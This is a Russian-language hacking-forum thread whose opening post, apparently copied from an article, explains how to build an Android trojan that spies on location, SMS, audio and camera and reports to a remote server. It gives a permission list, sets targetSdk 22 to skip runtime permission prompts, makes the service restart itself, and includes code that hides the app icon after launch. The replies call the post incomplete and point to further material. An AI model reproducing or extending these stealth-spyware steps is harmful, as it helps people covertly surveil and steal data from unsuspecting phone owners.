Новости Подарочек на андроид

Тема в разделе "Уязвимости и взлом", создана пользователем Miron_T31, 23 янв 2018.

  1. Miron_T31

    Miron_T31

    Сообщения:
    79
    Баллы:
    6
    ВНИМАНИЕ! Вся информация предоставлена исключительно в ознакомительных целях. Автор не несет ответственности за любой возможный вред

    Android принято называть рассадником вредоносных программ. Каждый день здесь выявляют более 8 тысяч новых образцов вирусов. И эти цифры постоянно растут.
    Но задумывались ли вы, как эти вредоносные программы работают? Сегодня мы разберемся с этим, изучив приложение для Android, способное собирать информацию об устройстве, его местоположении, делать фотографии и записывать аудио. И все это с удаленным управлением.

    Как написать троян на Андроид?

    Итак, наша цель — разобраться, как работают современные зловредные приложения. А лучший способ это сделать — посмотреть, как создается похожий софт. Как и боевой троян, наш пример при желании сможет наблюдать и передавать информацию о целевом устройстве на сервер.

    Возможности трояна будут следующие:

    - сбор информации о местоположении;
    - получение списка установленных приложений;
    - получение СМС;
    - запись аудио;
    - съемка задней или фронтальной камерой.

    Все эти данные наше приложение будет отправлять на удаленный сервер, где мы сможем проанализировать результаты его работы.

    По понятным причинам я не смогу привести полный код приложения в статье, поэтому некоторые задачи вам придется выполнить самим (для этого потребуются кое-какие знания в разработке приложений для Android).

    Каркас

    На этом этапе задача следующая: создать приложение с пустым (или просто безобидным) интерфейсом. Сразу после запуска приложение скроет свою иконку, запустит сервис и завершится (сервис при этом будет продолжать работать).

    Начнем. Создайте приложение, указав в манифесте следующие разрешения:

    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.CAMERA" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.READ_SMS" />

    В «build.gradle» укажите «compileSdkVersion 22» и «targetSdkVersion 22». Так вы избавите приложение от необходимости запрашивать разрешения во время работы (22 — это Android 5.1, обязательный запрос разрешений появился в 23 — Android 6.0, но работать приложение будет в любой версии).
    Теперь создайте пустую Activity и Service. В метод «onStartCommand» сервиса добавьте строку «return Service.START_STICKY». Это заставит систему перезапускать его в случае непреднамеренного завершения.
    Добавьте их описание в манифест (здесь и далее наше приложение будет называться https://vk.com/away.php?to=http://com.example.app&post=-51158607_7657&cc_key=):

    <activity
    android:name="com.example.app.MainActivity"
    android:label="@string/app_name" >
    <intent-filter>
    <action android:name="android.intent.action.MAIN" />
    <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
    </activity>

    <service
    android:name="com.example.app.MainService"
    android:enabled="true"
    android:exported="false">
    </service>

    Всю злобную работу мы будем делать внутри сервиса, поэтому наша Activity будет очень проста:

    void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState)

    // Запускаем сервис
    startService(new Intent(this, MainService.class));

    // Отключаем Activtiy
    ComponentName cn = new ComponentName("com.example.app", "com.example.app.MainActivity");
    pm.setComponentEnabledSetting(cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
    }

    Этот код запустит сервис сразу после запуска приложения и отключит активность. Побочным эффектом последнего действия станет завершение приложения и исчезновение иконки из лаунчера. Сервис продолжит работу. [​IMG] [​IMG] [​IMG]
  2. tigeor

    tigeor

    Сообщения:
    191
    Баллы:
    16
    ни че не понял но лайк
  3. Andylof

    Andylof

    Сообщения:
    150
    Баллы:
    16
    А где тут дизлайк? Что за чушь тут написана? Где, блять, кусок кода, который что то отправляет на сервер? Вы, когда копипиздите, хоть немножко вдумывайтесь. Кодеры хуевы.

    P.S.: выложи исходники из статьи откуда копипиздил, я думаю они больше принесут пользы.
  4. Ага оно да

    Ага оно да

    Сообщения:
    93
    Баллы:
    6
    на то и рассчет
  5. Фальшивая Гривна

    Фальшивая Гривна euro-dollar.xyz VIP Внесен депозит 4000$ Проверенный продавец

    Сообщения:
    375
    Баллы:
    18
    Там где он копипастил, есть вторая часть.
    Но этого ни*уя не хватает всё равно. Дичь.
    Кому интересна данная тема, пусть ищут на экспе статьи Мазы.

Поделиться этой страницей

Top